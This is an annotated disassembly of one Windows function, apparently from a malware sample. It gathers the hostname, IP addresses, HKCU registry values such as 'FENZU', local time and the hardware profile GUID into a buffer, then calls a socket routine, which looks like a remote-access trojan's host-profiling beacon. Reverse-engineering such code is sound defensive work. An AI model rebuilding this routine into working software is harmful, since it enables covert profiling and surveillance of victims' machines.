Function at 0x140001930
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x410
mov dword [rsp + 0x68], 0xffffffff
mov ecx, 0xf90
call fcn.14005620c
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov qword [rsp + 0x60], rax
mov r8d, 0xf90
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140056120
mov rax, qword [rsp + 0x60]
mov byte [rax], 3
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rsp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov r8d, 0x100
xor edx, edx
lea rcx, [rsp + 0x2b0]
call fcn.140056120
mov edx, 0x100
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x190], rax
cmp qword [rsp + 0x190], 0
je 0x140001aa8
mov dword [rsp + 0x3b0], 0
jmp 0x140001a1e
mov eax, dword [rsp + 0x3b0]
inc eax
mov dword [rsp + 0x3b0], eax
movsxd rax, dword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rcx + rax*8]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0x90]
call fcn.140056090
lea r8, str._n
mov edx, 0x100
lea rcx, [rsp + 0x90]
call fcn.140056090
movsxd rax, dword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rsp + 0x190]
movsx rdx, word [rdx + 0x12]
add rdx, qword [rcx + rax*8]
mov rax, rdx
mov rcx, qword [rsp + 0x190]
cmp rax, qword [rcx]
jb 0x140001aa3
jmp 0x140001aa8
jmp 0x140001a0e
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
lea r8, [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0x60]
add rax, 2
mov ecx, dword [rsp + 0x88]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.140002620
test eax, eax
je 0x140001b35
mov rax, qword [rsp + 0x60]
add rax, 0x200
lea rdx, [0x14008aa2c]
mov rcx, rax
call fcn.140004b30
mov dword [rsp + 0x3c8], eax
jmp 0x140001b56
mov rax, qword [rsp + 0x60]
add rax, 0x200
lea rdx, [0x14008aa30]
mov rcx, rax
call fcn.140004b30
mov dword [rsp + 0x3c8], eax
mov rax, qword [rsp + 0x60]
add rax, 0x598
mov rcx, rax
call fcn.140002120
cmp dword [rsp + 0x438], 0
je 0x140001b84
lea rax, [0x14008aa48]
mov qword [rsp + 0x3d0], rax
jmp 0x140001b93
lea rax, [0x14008aa58]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x60]
add rax, 0x796
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
add rcx, 0x796
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, str.FENZU
mov rdx, qword [rsp + 0x3d0]
mov rcx, 0xffffffff80000001
call fcn.140003530
cmp eax, 1
jge 0x140001c12
mov rax, qword [rsp + 0x60]
add rax, 0x796
lea rdx, [0x1400b059c]
mov rcx, rax
call fcn.140004b60
cmp dword [rsp + 0x438], 0
je 0x140001c2d
lea rax, [0x14008aa78]
mov qword [rsp + 0x3d8], rax
jmp 0x140001c3c
lea rax, [0x14008aa88]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x60]
add rax, 0x7fa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
add rcx, 0x7fa
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, [0x14008aa68]
mov rdx, qword [rsp + 0x3d8]
mov rcx, 0xffffffff80000001
call fcn.140003530
cmp eax, 1
jge 0x140001cbb
mov rax, qword [rsp + 0x60]
add rax, 0x7fa
lea rdx, str.5.21
mov rcx, rax
call fcn.140004b60
mov rax, qword [rsp + 0x60]
add rax, 0x85e
mov r8d, 0xa
mov rdx, rax
mov ecx, dword [rsp + 0x428]
call fcn.140004b90
mov rax, qword [rsp + 0x60]
add rax, 0x9a8
mov rcx, rax
call fcn.1400031f0
call fcn.140002940
movzx eax, al
test eax, eax
je 0x140001d1d
mov rax, qword [rsp + 0x60]
add rax, 0xa16
lea rdx, [0x14008aa34]
mov rcx, rax
call fcn.140004b30
mov dword [rsp + 0x3e0], eax
jmp 0x140001d3e
mov rax, qword [rsp + 0x60]
add rax, 0xa16
lea rdx, [0x14008aa44]
mov rcx, rax
call fcn.140004b30
mov dword [rsp + 0x3e0], eax
call fcn.140002530
mov rcx, qword [rsp + 0x60]
add rcx, 0xc28
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x78]
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x7a]
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0x7e]
mov word [rsp + 0x2a0], ax
movzx eax, word [rsp + 0x80]
mov word [rsp + 0x6c], ax
movzx eax, word [rsp + 0x82]
mov word [rsp + 0x58], ax
movzx eax, word [rsp + 0x84]
mov word [rsp + 0x50], ax
movzx eax, word [rsp + 0x50]
movzx ecx, word [rsp + 0x58]
movzx edx, word [rsp + 0x6c]
movzx edi, word [rsp + 0x2a0]
movzx r8d, word [rsp + 0x54]
movzx r9d, word [rsp + 0x70]
mov r10, qword [rsp + 0x60]
add r10, 0x8c2
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0x430]
lea rdx, [0x14008aaa0]
mov rcx, r10
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rsp + 0x60]
add rax, 0x926
lea rdx, [0x14008aa98]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
je 0x140001ec9
mov rax, qword [rsp + 0x60]
add rax, 0xa0c
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov rdx, qword [rsp + 0x60]
add rdx, 0x318
mov rdi, qword [rsp + 0x60]
add rdi, 0x2dc
mov r8, qword [rsp + 0x60]
add r8, 0x214
mov qword [rsp + 0x3e8], r8
mov r9, qword [rsp + 0x60]
add r9, 0xf2e
mov qword [rsp + 0x3f0], r9
lea r10, [rsp + 0x1a4]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8, rdi
mov rax, qword [rsp + 0x3e8]
mov rdx, rax
mov rax, qword [rsp + 0x3f0]
mov rcx, rax
call fcn.140001fb0
jmp 0x140001f51
mov rax, qword [rsp + 0x60]
add rax, 0xa0c
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov rdx, qword [rsp + 0x60]
add rdx, 0x318
mov rdi, qword [rsp + 0x60]
add rdi, 0x2dc
mov r8, qword [rsp + 0x60]
add r8, 0x214
mov qword [rsp + 0x3f8], r8
mov r9, qword [rsp + 0x60]
add r9, 0xf2e
mov qword [rsp + 0x400], r9
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8, rdi
mov rax, qword [rsp + 0x3f8]
mov rdx, rax
mov rax, qword [rsp + 0x400]
mov rcx, rax
call fcn.140001fb0
mov rax, qword [rsp + 0x420]
mov rax, qword [rax]
mov r8d, 0xf90
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x420]
call qword [rax + reloc.WS2_32.dll_recv]
mov dword [rsp + 0x68], eax
cmp qword [rsp + 0x60], 0
je 0x140001fa1
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x3c0], rax
mov rcx, qword [rsp + 0x3c0]
call fcn.140055a70
mov qword [rsp + 0x60], 0
mov eax, dword [rsp + 0x68]
add rsp, 0x410
pop rdi
ret